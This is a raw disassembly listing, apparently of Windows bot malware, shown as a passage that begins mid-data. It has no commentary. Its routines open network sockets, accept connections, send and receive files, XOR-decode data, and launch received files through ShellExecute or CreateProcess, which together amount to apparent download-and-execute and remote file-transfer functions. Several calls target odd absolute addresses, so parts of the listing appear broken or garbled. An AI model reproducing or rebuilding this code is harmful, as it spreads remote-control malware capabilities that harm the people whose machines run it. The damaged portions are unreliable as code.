		dd 0FF6C858Dh, 5350FFFFh, 0FF37D5E8h, 14C483FFh, 0EE4C858Dh
		dd 0E850FFFFh, 0FFFFFC52h, 15FF5359h, 4C939Ch, 0E8F075FFh
		dd 0FFFF561Dh, 4DE85659h, 90022C9Fh, 0E890646Ah, 225AE25h
		dd 0BEFF33h, 56000010h,	0EE4C858Dh, 5057FFFFh, 5C3FE8h
		dd 0CC48300h, 0EE4C858Dh, 5657FFFFh, 15FF5350h,	4C931Ch
		dd 387EC085h, 0EE4C858Dh, 8468FFFFh, 500042A0h,	6537E8h
		dd 4C858D00h, 50FFFFEEh, 3E39E8h, 0CC48300h, 1474C085h
		dd 0CEE8646Ah, 900225ADh, 0DAE80A6Ah, 85FFFF54h, 0A37559C0h
		dd 0EE4C858Dh, 0B068FFFFh, 50004377h, 5ED5E8h, 0F87D3900h
		dd 1B755959h, 4C858D57h, 0FFFFFFEEh, 8D50F475h,	0FFFF6C85h
		dd 0E85350FFh, 0FFFF3712h, 8D14C483h, 0FFEE4C85h, 8FE850FFh
		dd 59FFFFFBh, 9C15FF53h, 0FF004C93h, 5AE8F075h,	59FFFF55h
		dd 9E8AE857h
; ---------------------------------------------------------------------------
		sub	al, 2
		nop


loc_416177:				; DATA XREF: sub_401AC7+76ABo
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4C9384
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_4161C5
		push	offset unk_437914
		jmp	loc_41637E
; ---------------------------------------------------------------------------


loc_4161C5:				; CODE XREF: ___:004161B9j
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4C9304
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4C9330
		test	eax, eax
		jz	short loc_416203
		push	offset unk_4378F0
		jmp	loc_41637E
; ---------------------------------------------------------------------------


loc_416203:				; CODE XREF: ___:004161F7j
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4C92A8
		push	dword ptr [ebp-2Eh]
		call	dword_4C9234
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41B960
		pop	ecx


loc_416235:				; CODE XREF: ___:00416266j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_416248
		push	5Fh
		pop	eax
		jmp	short loc_41624B
; ---------------------------------------------------------------------------


loc_416248:				; CODE XREF: ___:00416241j
		movsx	eax, al


loc_41624B:				; CODE XREF: ___:00416246j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41B960
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_416235
		push	ebx
		push	edi
		call	dword_4C932C
		test	eax, eax
		jz	short loc_41627E
		push	offset unk_437814
		jmp	loc_41637E
; ---------------------------------------------------------------------------


loc_41627E:				; CODE XREF: ___:00416272j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		call	near ptr 27107F7h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4162A8
		push	offset unk_4378D0
		jmp	loc_41637E
; ---------------------------------------------------------------------------


loc_4162A8:				; CODE XREF: ___:0041629Cj
		push	esi
		push	eax
		nop
		call	near ptr 2750000h
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40A9FA
		pop	ecx
		push	eax
		call	dword_4C9344
		push	eax
		call	dword_4C9300
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_4378B8
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409862
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4C92EC
		test	eax, eax
		jg	short loc_416358
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_4378A0
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409862
		jmp	loc_41647C
; ---------------------------------------------------------------------------


loc_416358:				; CODE XREF: ___:00416336j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4C9398
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416391
		push	offset unk_43787C


loc_41637E:				; CODE XREF: ___:004161C0j
					; ___:004161FEj ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		jmp	loc_41647F
; ---------------------------------------------------------------------------


loc_416391:				; CODE XREF: ___:00416377j
		push	edi
		call	dword_4C939C
		cmp	[ebp+8], esi
		jz	loc_416443
		mov	edi, 400h


loc_4163A6:				; CODE XREF: ___:0041643Aj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_4163B3
		mov	[ebp-4], eax


loc_4163B3:				; CODE XREF: ___:004163AEj
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41BD10
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2780000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 26F1192h
		nop
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4C9354
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4C931C
		cmp	eax, ebx
		jl	loc_4164D8
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_4164D8
		sub	[ebp+8], eax
		jnz	loc_4163A6
		mov	edi, [ebp-18h]


loc_416443:				; CODE XREF: ___:0041639Bj
		push	dword ptr [ebp-8]
		nop
		call	near ptr 266053Bh
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416C7D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4C9390
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_437850
		push	eax
		call	sub_41C006


loc_41647C:				; CODE XREF: ___:00416353j
		add	esp, 14h


loc_41647F:				; CODE XREF: ___:0041638Cj
		cmp	[ebp-50h], esi
		jnz	short loc_4164A4
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409862
		add	esp, 14h


loc_4164A4:				; CODE XREF: ___:00416482j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_415CEE
		cmp	edi, esi
		pop	ecx
		jbe	short loc_4164BC
		push	edi
		call	dword_4C939C


loc_4164BC:				; CODE XREF: ___:004164B3j
		push	dword ptr [ebp-1F8h]
		call	dword_4C939C
		push	dword ptr [ebp-58h]
		call	sub_40B6C9
		pop	ecx
		push	esi
		call	near ptr 26E0000h
		nop


loc_4164D8:				; CODE XREF: ___:00416426j
					; ___:00416431j
		push	esi
		mov	esi, offset dword_437838
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409862
		push	esi
		call	sub_415CEE
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4C939C
		push	dword ptr [ebp-58h]
		call	sub_40B6C9
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h


loc_416519:				; DATA XREF: sub_401AC7+78Fo
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41C2A0
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		call	near ptr 26709B5h
		nop
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_429ACC
		push	eax
		call	sub_41C006
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	near ptr 27107F7h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4165A3
		push	offset unk_4379B4
		jmp	short loc_4165E9
; ---------------------------------------------------------------------------


loc_4165A3:				; CODE XREF: ___:0041659Aj
		push	eax
		nop
		call	near ptr 266053Bh
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41BC88
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_4165CB
		push	offset unk_437984
		jmp	short loc_4165E9
; ---------------------------------------------------------------------------


loc_4165CB:				; CODE XREF: ___:004165C2j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415F30
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_4165FC
		push	offset unk_437964


loc_4165E9:				; CODE XREF: ___:004165A1j
					; ___:004165C9j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		jmp	loc_4166F6
; ---------------------------------------------------------------------------


loc_4165FC:				; CODE XREF: ___:004165E2j
		mov	esi, 1000h


loc_416601:				; CODE XREF: ___:00416667j
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4C931C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4166C8
		cmp	edi, 0FFFFFFFFh
		jz	short loc_416669
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41DA54
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4C9300
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4C9354
		jmp	short loc_416601
; ---------------------------------------------------------------------------


loc_416669:				; CODE XREF: ___:00416631j
		lea	eax, [ebp-4C4h]
		push	offset dword_437838
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409862
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415CEE
		push	dword ptr [ebp-4]
		call	sub_41B9DB
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4C939C
		push	dword ptr [ebp-1Ch]
		call	sub_40B6C9
		pop	ecx
		push	1
		nop
		call	near ptr 26E0000h


loc_4166C8:				; CODE XREF: ___:00416628j
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416C7D
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_437938
		push	eax
		call	sub_41C006
		add	esp, 1Ch


loc_4166F6:				; CODE XREF: ___:004165F7j
		cmp	[ebp-14h], ebx
		jnz	short loc_41671B
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409862
		add	esp, 14h


loc_41671B:				; CODE XREF: ___:004166F9j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415CEE
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_416736
		push	dword ptr [ebp-4]
		call	sub_41B9DB
		pop	ecx


loc_416736:				; CODE XREF: ___:0041672Bj
		cmp	[ebp+8], ebx
		jbe	short loc_416744
		push	dword ptr [ebp+8]
		call	dword_4C939C


loc_416744:				; CODE XREF: ___:00416739j
		push	dword ptr [ebp-1Ch]
		call	sub_40B6C9
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h


loc_416754:				; DATA XREF: sub_401AC7+61D9o
					; sub_401AC7+6A07o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4C92B4
		call	dword_4C9208
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416BE0
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 27107F7h
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_41681B
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437B80
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167FE
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409862
		add	esp, 14h


loc_4167FE:				; CODE XREF: ___:004167DCj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415CEE
		push	dword ptr [ebp-48h]
		call	sub_40B6C9
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h


loc_41681B:				; CODE XREF: ___:004167BCj
		xor	edi, edi
		nop
		call	near ptr 2690861h
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41BC9B
		pop	ecx
		mov	[ebp-1Ch], eax


loc_416835:				; CODE XREF: ___:00416908j
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4C9210
		cmp	[ebp-34h], esi
		jz	short loc_416879
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_416C46
		pop	ecx
		pop	ecx


loc_416879:				; CODE XREF: ___:00416866j
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 2700000h
		cmp	edi, ebx
		jnb	short loc_4168B7
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_4168A1
		mov	eax, [ebp+8]


loc_4168A1:				; CODE XREF: ___:0041689Cj
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41CAB0
		add	esp, 0Ch


loc_4168B7:				; CODE XREF: ___:00416893j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_4168C4
		cmp	edi, [ebp-3Ch]
		ja	short loc_41690E


loc_4168C4:				; CODE XREF: ___:004168BDj
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_4168DE
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437B58
		jmp	short loc_4168EE
; ---------------------------------------------------------------------------


loc_4168DE:				; CODE XREF: ___:004168CAj
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437B30


loc_4168EE:				; CODE XREF: ___:004168DCj
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43C040
		push	eax
		call	sub_41C006
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_416835


loc_41690E:				; CODE XREF: ___:004168C2j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416963
		cmp	edi, [ebp-3Ch]
		jz	short loc_416963
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_437B04
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409862
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415CEE
		add	esp, 28h


loc_416963:				; CODE XREF: ___:00416918j
					; ___:0041691Dj
		nop
		call	near ptr 2690861h
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 266053Bh
		push	dword ptr [ebp-1Ch]
		call	sub_41BA31
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_4169ED
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_4169ED
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437ADC
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409862
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415CEE
		add	esp, 28h


loc_4169ED:				; CODE XREF: ___:00416995j
					; ___:004169A7j
		cmp	[ebp-14h], esi
		jz	loc_416C2D
		cmp	dword ptr [ebp-44h], 1
		jz	loc_416AE8
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276A8
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276A8
		fstp	qword ptr [esp]
		push	offset unk_437AA4
		push	eax
		call	sub_41C006
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416A68
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409862
		add	esp, 14h


loc_416A68:				; CODE XREF: ___:00416A46j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415CEE
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_416C2D
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4C9270
		cmp	[ebp-30h], esi
		jnz	loc_416C2D
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_437A88
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409862
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415CEE
		add	esp, 24h
		jmp	loc_416C2D
; ---------------------------------------------------------------------------


loc_416AE8:				; CODE XREF: ___:004169FAj
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276A8
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276A8
		fstp	qword ptr [esp]
		push	offset unk_437A44
		push	eax
		call	sub_41C006
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416B50
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409862
		add	esp, 14h


loc_416B50:				; CODE XREF: ___:00416B2Ej
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415CEE
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41BD10
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BD10
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset byte_43B4B8
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 26607E0h
		cmp	eax, edi
		jnz	short loc_416BD2
		call	dword_4C925C
		call	sub_418857
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_416BD2:				; CODE XREF: ___:00416BBEj
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_437A10
		jmp	short loc_416BEC
; ---------------------------------------------------------------------------


loc_416BE0:				; CODE XREF: ___:00416799j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4379E4


loc_416BEC:				; CODE XREF: ___:00416BDEj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416C20
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409862
		add	esp, 14h


loc_416C20:				; CODE XREF: ___:00416BFEj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415CEE
		pop	ecx


loc_416C2D:				; CODE XREF: ___:004169F0j
					; ___:00416A79j ...
		push	dword ptr [ebp-18h]
		call	dword_4C9338
		push	dword ptr [ebp-48h]
		call	sub_40B6C9
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h

; =============== S U B	R O U T	I N E =======================================



sub_416C46	proc near		; CODE XREF: ___:00416872p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416C62


loc_416C52:				; CODE XREF: sub_416C46+1Aj
		mov	dl, byte_429090
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_416C52

locret_416C62:				; CODE XREF: sub_416C46+Aj
		retn
sub_416C46	endp


; =============== S U B	R O U T	I N E =======================================



sub_416C63	proc near		; CODE XREF: sub_401AC7+57AEp
					; sub_401AC7+58E0p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41DB5E
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416C63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C7D	proc near		; CODE XREF: sub_410330+45Dp
					; sub_410330+5F9p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D0F38
		push	0
		push	edi
		call	sub_41BD10
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416CA2:				; CODE XREF: sub_416C7D+5Bj
					; sub_416C7D+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41DC20
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41DBB0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416CE0
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416CA2
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416CA2
; ---------------------------------------------------------------------------


loc_416CE0:				; CODE XREF: sub_416C7D+4Bj
		dec	esi
		mov	eax, edi


loc_416CE3:				; CODE XREF: sub_416C7D+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416CF2
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416CE3
; ---------------------------------------------------------------------------


loc_416CF2:				; CODE XREF: sub_416C7D+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416C7D	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CFC	proc near		; CODE XREF: sub_416EA8+51p
					; sub_416EA8+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4C9364
		sub	eax, 0
		jz	short loc_416D3F
		dec	eax
		jz	short loc_416D39
		dec	eax
		dec	eax
		jz	short loc_416D33
		dec	eax
		jz	short loc_416D2D
		dec	eax
		jz	short loc_416D27
		dec	eax
		jz	short loc_416D21
		mov	eax, offset word_437BD4
		retn
; ---------------------------------------------------------------------------


loc_416D21:				; CODE XREF: sub_416CFC+1Dj
		mov	eax, offset off_437BD0
		retn
; ---------------------------------------------------------------------------


loc_416D27:				; CODE XREF: sub_416CFC+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_416D2D:				; CODE XREF: sub_416CFC+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_416D33:				; CODE XREF: sub_416CFC+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_416D39:				; CODE XREF: sub_416CFC+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_416D3F:				; CODE XREF: sub_416CFC+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_416CFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D45	proc near		; CODE XREF: sub_416D8D+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4C91F4
		test	eax, eax
		jz	short loc_416D7A
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416D7A:				; CODE XREF: sub_416D45+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416D45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D8D	proc near		; CODE XREF: sub_416EA8+17p
					; sub_41AF2B+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
